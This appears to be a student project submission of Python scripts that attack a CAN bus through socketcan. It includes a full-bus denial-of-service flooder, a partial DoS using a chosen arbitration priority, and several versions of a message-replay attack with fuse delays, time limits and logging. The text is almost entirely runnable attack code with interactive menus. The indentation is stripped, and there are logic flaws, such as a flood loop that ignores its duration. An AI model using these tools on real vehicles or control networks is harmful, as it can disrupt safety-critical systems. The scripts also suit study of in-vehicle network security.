Project 3

1.

a.Full Bus DoS

import can
import threading
import time

# Define CAN interface and bus
can_interface = 'can0'
bus = can.interface.Bus(channel=can_interface, bustype='socketcan')

# Define the Full Bus DoS attack function
def perform_full_bus_dos_attack(duration):
while True:
message = can.Message(arbitration_id=0x123, data=[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], extended_id=False)
bus.send(message)
time.sleep(0.001) # Adjust the delay as needed

# Function to start the attack thread
def start_attack_thread(duration):
dos_thread = threading.Thread(target=perform_full_bus_dos_attack, args=(duration,))
dos_thread.start()
time.sleep(duration)
dos_thread.join()

# Main program loop
while True:
print("Select an attack:")
print("1. Full Bus DoS")
attack_choice = input("Enter your choice (1): ")

if attack_choice == '1':
attack_duration = int(input("Enter attack duration in seconds: "))
start_attack_thread(attack_duration)
else:
print("Invalid choice. Please select a valid attack.")

b.Partial DoS

import can
import threading
import time

# Define CAN interface and bus
can_interface = 'can0'
bus = can.interface.Bus(channel=can_interface, bustype='socketcan')

# Define the Partial DoS attack function
def perform_partial_dos_attack(priority, duration):
message = can.Message(arbitration_id=priority, data=[0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00], extended_id=False)

start_time = time.time()
while time.time() - start_time < duration:
bus.send(message)
time.sleep(0.001) # Adjust the delay as needed

# Function to start the attack thread
def start_attack_thread(priority, duration):
dos_thread = threading.Thread(target=perform_partial_dos_attack, args=(priority, duration))
dos_thread.start()
time.sleep(duration)
dos_thread.join()

# Main program loop
while True:
print("Select an attack:")
print("1. Partial DoS")
attack_choice = input("Enter your choice (1): ")

if attack_choice == '1':
attack_priority = int(input("Enter attack priority: "))
attack_duration = int(input("Enter attack duration in seconds: "))
start_attack_thread(attack_priority, attack_duration)
else:
print("Invalid choice. Please select a valid attack.")

c.Message Replay

import can
import threading
import time
from queue import Queue

# Define CAN interface and bus
can_interface = 'can0'
bus = can.interface.Bus(channel=can_interface, bustype='socketcan')

# Create a buffer to capture messages
message_buffer = Queue()

# Function to capture CAN messages into the buffer
def capture_messages(buffer_size):
while True:
message = bus.recv()
message_buffer.put(message)
if message_buffer.qsize() > buffer_size:
break

# Function to perform message replay attack
def perform_message_replay_attack(buffer_size, fuse_duration):
print("Capturing messages...")
capture_thread = threading.Thread(target=capture_messages, args=(buffer_size,))
capture_thread.start()
capture_thread.join()

print("Replaying captured messages after fuse...")
time.sleep(fuse_duration)

while not message_buffer.empty():
replayed_message = message_buffer.get()
bus.send(replayed_message)
time.sleep(0.001) # Adjust the delay as needed

# Main program loop
while True:
print("Select an attack:")
print("1. Message Replay")
attack_choice = input("Enter your choice (1): ")

if attack_choice == '1':
buffer_size = int(input("Enter buffer size to capture: "))
fuse_duration = int(input("Enter fuse duration in seconds: "))
perform_message_replay_attack(buffer_size, fuse_duration)
else:
print("Invalid choice. Please select a valid attack.")

2.

import can
import threading
import time
from queue import Queue

# Define CAN interface and bus
can_interface = 'can0'
bus = can.interface.Bus(channel=can_interface, bustype='socketcan')

# Create a buffer to capture messages
message_buffer = Queue()

# Function to capture CAN messages into the buffer
def capture_messages(buffer_size):
while True:
message = bus.recv()
message_buffer.put(message)
if message_buffer.qsize() > buffer_size:
break

# Function to perform message replay attack
def perform_message_replay_attack(buffer_size, fuse_duration):
print("Capturing messages...")
capture_thread = threading.Thread(target=capture_messages, args=(buffer_size,))
capture_thread.start()
capture_thread.join()

print(f"Waiting for fuse duration of {fuse_duration} seconds...")
time.sleep(fuse_duration)

print("Replaying captured messages...")
while not message_buffer.empty():
replayed_message = message_buffer.get()
bus.send(replayed_message)
time.sleep(0.001) # Adjust the delay as needed

# Main program loop
while True:
print("Select an attack:")
print("1. Message Replay")
attack_choice = input("Enter your choice (1): ")

if attack_choice == '1':
buffer_size = int(input("Enter buffer size to capture: "))
fuse_duration = int(input("Enter fuse duration in seconds: "))
perform_message_replay_attack(buffer_size, fuse_duration)
else:
print("Invalid choice. Please select a valid attack.")

3.

import can
import threading
import time
import os
from queue import Queue

# Define CAN interface and bus
can_interface = 'can0'
bus = can.interface.Bus(channel=can_interface, bustype='socketcan')

# Create a buffer to capture messages
message_buffer = Queue()

# Function to capture CAN messages into the buffer
def capture_messages(buffer_size):
while True:
message = bus.recv()
message_buffer.put(message)
if message_buffer.qsize() > buffer_size:
break

# Function to perform message replay attack
def perform_message_replay_attack(buffer_size, fuse_duration):
print("Capturing messages...")
capture_thread = threading.Thread(target=capture_messages, args=(buffer_size,))
capture_thread.start()
capture_thread.join()

print(f"Waiting for fuse duration of {fuse_duration} seconds...")
time.sleep(fuse_duration)

print("Replaying captured messages...")
while not message_buffer.empty():
replayed_message = message_buffer.get()
bus.send(replayed_message)
time.sleep(0.001) # Adjust the delay as needed

# Create a directory for logs
attack_name = f"Message_Replay_attack_{time.strftime('%Y-%m-%d_%H-%M-%S')}"
os.makedirs(attack_name)

print(f"Attack logs stored in directory: {attack_name}")

# Main program loop
while True:
print("Select an attack:")
print("1. Message Replay")
attack_choice = input("Enter your choice (1): ")

if attack_choice == '1':
buffer_size = int(input("Enter buffer size to capture: "))
fuse_duration = int(input("Enter fuse duration in seconds (0 for immediate execution): "))
perform_message_replay_attack(buffer_size, fuse_duration)
else:
print("Invalid choice. Please select a valid attack.")

4.

import can
import threading
import time
import os
from queue import Queue

# Define CAN interface and bus
can_interface = 'can0'
bus = can.interface.Bus(channel=can_interface, bustype='socketcan')

# Create a buffer to capture messages
message_buffer = Queue()

# Function to capture CAN messages into the buffer
def capture_messages(buffer_size):
while True:
message = bus.recv()
message_buffer.put(message)
if message_buffer.qsize() > buffer_size:
break

# Function to perform message replay attack
def perform_message_replay_attack(buffer_size, fuse_duration, max_execution_time):
print("Capturing messages...")
capture_thread = threading.Thread(target=capture_messages, args=(buffer_size,))
capture_thread.start()
capture_thread.join()

print(f"Waiting for fuse duration of {fuse_duration} seconds...")
time.sleep(fuse_duration)

print("Replaying captured messages...")
start_time = time.time()
while not message_buffer.empty() and time.time() - start_time < max_execution_time:
replayed_message = message_buffer.get()
bus.send(replayed_message)
time.sleep(0.001) # Adjust the delay as needed

# Create a directory for logs
attack_name = f"Message_Replay_attack_{time.strftime('%Y-%m-%d_%H-%M-%S')}"
os.makedirs(attack_name)

print(f"Attack logs stored in directory: {attack_name}")

# Main program loop
while True:
print("Select an attack:")
print("1. Message Replay")
attack_choice = input("Enter your choice (1): ")

if attack_choice == '1':
buffer_size = int(input("Enter buffer size to capture: "))
fuse_duration = int(input("Enter fuse duration in seconds (0 for immediate execution): "))
max_execution_time = int(input("Enter maximum execution time for the attack in seconds: "))
perform_message_replay_attack(buffer_size, fuse_duration, max_execution_time)
else:
print("Invalid choice. Please select a valid attack.")

5.

import can
import threading
import time
import os
from queue import Queue

# Define CAN interface and bus
can_interface = 'can0'
bus = can.interface.Bus(channel=can_interface, bustype='socketcan')

# Create a buffer to capture messages
message_buffer = Queue()

# Function to capture CAN messages into the buffer
def capture_messages(buffer_size):
while True:
message = bus.recv()
message_buffer.put(message)
if message_buffer.qsize() > buffer_size:
break

# Function to perform message replay attack
def perform_message_replay_attack(buffer_size, fuse_duration, max_execution_time, log_file):
print("Capturing messages...")
capture_thread = threading.Thread(target=capture_messages, args=(buffer_size,))
capture_thread.start()

start_time = time.time()
while time.time() - start_time < max_execution_time:
try:
with open(log_file, 'a') as f:
message = bus.recv()
f.write(f"{time.strftime('%Y-%m-%d %H:%M:%S')} - ID:{message.arbitration_id} DATA:{message.data}\n")
except KeyboardInterrupt:
break

capture_thread.join()

print(f"Waiting for fuse duration of {fuse_duration} seconds...")
time.sleep(fuse_duration)

print("Replaying captured messages...")
start_time = time.time()
while not message_buffer.empty() and time.time() - start_time < max_execution_time:
replayed_message = message_buffer.get()
bus.send(replayed_message)
time.sleep(0.001) # Adjust the delay as needed

# Create a directory for logs
attack_name = f"Message_Replay_attack_{time.strftime('%Y-%m-%d_%H-%M-%S')}"
os.makedirs(attack_name)
os.rename(log_file, os.path.join(attack_name, log_file))

print(f"Attack logs and CAN bus log stored in directory: {attack_name}")

# Main program loop
while True:
print("Select an attack:")
print("1. Message Replay")
attack_choice = input("Enter your choice (1): ")

if attack_choice == '1':
buffer_size = int(input("Enter buffer size to capture: "))
fuse_duration = int(input("Enter fuse duration in seconds (0 for immediate execution): "))
max_execution_time = int(input("Enter maximum execution time for the attack in seconds: "))

log_file = "can_bus_log.txt"
perform_message_replay_attack(buffer_size, fuse_duration, max_execution_time, log_file)
else:
print("Invalid choice. Please select a valid attack.")